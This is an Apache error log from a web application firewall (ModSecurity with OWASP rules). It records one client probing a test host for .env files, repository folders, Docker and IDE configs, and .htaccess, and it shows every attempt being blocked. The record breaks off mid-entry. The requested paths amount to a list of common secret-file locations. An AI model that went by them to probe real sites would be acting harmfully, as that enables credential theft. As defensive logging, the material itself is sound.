[Wed Feb 25 06:04:40.612618 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYQAAAAA&quot;]
[Wed Feb 25 06:04:40.612807 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYQAAAAA&quot;]
[Wed Feb 25 06:04:40.648721 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.hg/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXFQAAAAQ&quot;]
[Wed Feb 25 06:04:40.649032 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXFQAAAAQ&quot;]
[Wed Feb 25 06:04:40.649220 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.hg/&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXFQAAAAQ&quot;]
[Wed Feb 25 06:04:40.654170 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /xampp/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYgAAAAA&quot;]
[Wed Feb 25 06:04:40.654446 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYgAAAAA&quot;]
[Wed Feb 25 06:04:40.654614 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/xampp/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYgAAAAA&quot;]
[Wed Feb 25 06:04:40.679137 2026] [authz_core:error] [pid 2312883] [client 185.177.72.13:2036] AH01630: client denied by server configuration: /var/www/pms.test.indaco.store/www/.htaccess
[Wed Feb 25 06:04:40.691427 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.docker/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .docker/ found within REQUEST_FILENAME: /.docker/laravel/app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYwAAAAA&quot;]
[Wed Feb 25 06:04:40.691733 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYwAAAAA&quot;]
[Wed Feb 25 06:04:40.691929 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.docker/laravel/app/.env&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaYwAAAAA&quot;]
[Wed Feb 25 06:04:40.744996 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaZAAAAAA&quot;]
[Wed Feb 25 06:04:40.745270 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaZAAAAAA&quot;]
[Wed Feb 25 06:04:40.745453 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.local&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaZAAAAAA&quot;]
[Wed Feb 25 06:04:40.777508 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;.idea&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .idea found within REQUEST_FILENAME: /.idea/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXFwAAAAQ&quot;]
[Wed Feb 25 06:04:40.777804 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXFwAAAAQ&quot;]
[Wed Feb 25 06:04:40.777981 2026] [:error] [pid 2312883] [client 185.177.72.13:2036] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.idea/.env&quot;] [unique_id &quot;aZ6C6J6MLyC5r86Hx-ZXFwAAAAQ&quot;]
[Wed Feb 25 06:04:40.929974 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaZQAAAAA&quot;]
[Wed Feb 25 06:04:40.930256 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaZQAAAAA&quot;]
[Wed Feb 25 06:04:40.930459 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.production&quot;] [unique_id &quot;aZ6C6GXxsr5IXP-ltRiaZQAAAAA&quot;]
[Wed Feb 25 06:04:41.012955 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaZgAAAAA&quot;]
[Wed Feb 25 06:04:41.013256 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaZgAAAAA&quot;]
[Wed Feb 25 06:04:41.013434 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env.staging&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaZgAAAAA&quot;]
[Wed Feb 25 06:04:41.071461 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaZwAAAAA&quot;]
[Wed Feb 25 06:04:41.071721 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaZwAAAAA&quot;]
[Wed Feb 25 06:04:41.071883 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.local&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaZwAAAAA&quot;]
[Wed Feb 25 06:04:41.251304 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaaAAAAAA&quot;]
[Wed Feb 25 06:04:41.251591 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaaAAAAAA&quot;]
[Wed Feb 25 06:04:41.251810 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.production&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaaAAAAAA&quot;]
[Wed Feb 25 06:04:41.424593 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /laravel/core/.env.staging&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaaQAAAAA&quot;]
[Wed Feb 25 06:04:41.424905 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaaQAAAAA&quot;]
[Wed Feb 25 06:04:41.425108 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/core/.env.staging&quot;] [unique_id &quot;aZ6C6WXxsr5IXP-ltRiaaQAAAAA&quot;]
[Wed Feb 25 06:04:41.455449 2026] [:error] [pid 2312879] [client 185.177.72.13:2054] [client 185.177.72.13] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /main/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/main.js/.env&quot;] [unique_id 